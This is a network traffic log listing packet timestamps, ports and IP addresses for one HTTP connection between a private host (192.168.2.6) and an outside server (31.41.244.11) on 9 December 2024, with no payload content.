Dec 9, 2024 21:09:17.221452951 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.221467972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.221508980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.225564957 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.225613117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.225692034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.225747108 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.229734898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.229779959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.229943037 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.229990959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.233937979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.233984947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.233999014 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.234021902 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.238095999 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.238143921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.238162041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.238214016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.242223978 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.242273092 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.242408991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.242460966 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.246323109 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.246371984 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.246372938 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.246416092 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.261122942 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.261157990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.261281967 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.262876987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.262928963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.263154984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.263200998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.272979021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.273030043 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.273082972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.273129940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.274651051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.274702072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.274728060 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.274766922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.277873039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.277918100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.277952909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.277992964 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.281076908 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.281138897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.281167984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.281213045 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.284269094 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.284323931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.284339905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.284387112 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.287352085 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.287404060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.287452936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.287497044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.290450096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.290509939 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.290559053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.290601969 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.293334007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.293385029 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.293472052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.293521881 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.296215057 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.296286106 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.296353102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.296402931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.299199104 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.299279928 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.299315929 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.299328089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.301933050 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.301995993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.302009106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.302057981 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.304692984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.304754019 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.304826021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.304874897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.307240009 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.307303905 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.307419062 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.307468891 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.309766054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.309825897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.309850931 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.309890032 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.312398911 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.312447071 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.312495947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.312536955 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.314923048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.314996004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.315000057 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.315037966 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.317712069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.317722082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.317786932 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.320004940 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.320087910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.320110083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.320158958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.322551966 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.322619915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.322765112 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.322810888 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.325140953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.325205088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.325242996 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.325285912 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.327382088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.327408075 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.327426910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.327445030 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.329705000 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.329766035 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.329917908 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.329961061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.332318068 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.332367897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.332509041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.332555056 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.334136009 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.334146976 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.334181070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.334204912 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.336288929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.336337090 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.336363077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.336400986 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.338380098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.338428974 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.395822048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.395957947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.395966053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.396007061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.396612883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.396663904 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.396689892 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.396733999 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.397926092 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.397974968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.398032904 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.398080111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.399705887 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.399750948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.399782896 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.399823904 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.401047945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.401098013 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.401122093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.401164055 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.402671099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.402695894 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.402719975 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.402734995 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.404232025 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.404278040 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.404299021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.404337883 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.405816078 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.405869961 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.405972958 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.406037092 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.407383919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.407429934 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.407506943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.407550097 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.408919096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.408967018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.409044981 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.409090042 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.410501957 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.410547018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.410654068 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.410696983 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.412029028 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.412076950 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.412092924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.412137032 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.413666964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.413712978 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.413800955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.413846016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.415152073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.415198088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.415229082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.415270090 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.416733027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.416779995 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.416806936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.416851997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.418296099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.418338060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.418400049 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.418447018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.420587063 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.420599937 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.420651913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.420675993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.421427965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.421457052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.421475887 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.421498060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.425168991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.425215960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.425632954 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.425676107 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.425817013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.425831079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.425853968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.425873995 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.426422119 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.426465034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.426610947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.426656961 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.427941084 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.428004980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.428098917 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.428138018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.429430008 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.429440975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.429488897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.430689096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.430741072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.430830956 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.430876017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.432260990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.432286978 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.432305098 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.432321072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.433675051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.433725119 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.433851957 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.433892965 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.435005903 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.435058117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.435164928 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.435206890 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.436551094 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.436563015 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.436594963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.436616898 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.437901974 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.437912941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.437951088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.439351082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.439395905 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.439541101 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.439584970 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.440706968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.440752029 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.440905094 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.440947056 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.442106009 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.442116976 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.442151070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.443403006 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.443461895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.443708897 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.443743944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.444778919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.444825888 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.444941044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.444983959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.446213961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.446253061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.446506977 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.446546078 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.447568893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.447611094 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.447752953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.447797060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.448874950 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.448913097 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.449043036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.449080944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.450156927 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.450201988 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.450437069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.450478077 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.451536894 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.451581001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.451875925 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.451948881 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.452785969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.452832937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.452935934 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.452979088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.453988075 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.454041004 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.454339981 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.454385996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.455459118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.455480099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.455502033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.455519915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.456746101 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.456758976 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.456795931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.456813097 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.457564116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.457580090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.457608938 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.457631111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.459408045 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.459419012 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.459455967 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.459472895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.460500002 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.460511923 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.460551023 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.461644888 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.461690903 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.461782932 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.461822033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.462901115 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.462944984 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.463080883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.463125944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.463676929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.463689089 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.463721037 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.463743925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.464801073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.464859009 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.465118885 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.465161085 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.466049910 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.466118097 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.466154099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.466196060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.467250109 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.467307091 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.467348099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.467387915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.588417053 CET	80	49874	31.41.244.11	192.168.2.6
